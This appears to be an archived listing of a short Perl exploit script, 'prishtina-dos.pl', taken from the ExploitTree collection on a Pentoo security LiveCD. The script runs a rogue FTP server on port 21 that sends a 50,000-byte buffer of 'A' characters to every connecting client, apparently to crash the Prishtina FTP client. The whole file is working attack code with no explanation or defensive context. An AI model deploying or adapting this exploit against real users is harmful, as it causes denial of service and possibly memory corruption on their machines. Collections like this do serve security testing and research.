home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / prishtina / prishtina-dos.pl < prev   
Perl Script  |  2005-02-12  |  352b  |  17 lines

  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. $host = "localhost";
  4. $port = "21";
  5. $server = IO::Socket::INET->new(LocalPort => $port, Type =>
  6. SOCK_STREAM,
  7. Reuse => 1, Listen => 2) or die "Couldn't create tcp-server.\n";
  8. $data = "A";
  9. $num = "50000";
  10. $buf .= $data x $num;
  11. while ($client = $server->accept()) {
  12.  print "OK";
  13.  print $client "$buf\n";
  14.  close($client);
  15. }
  16.  
  17.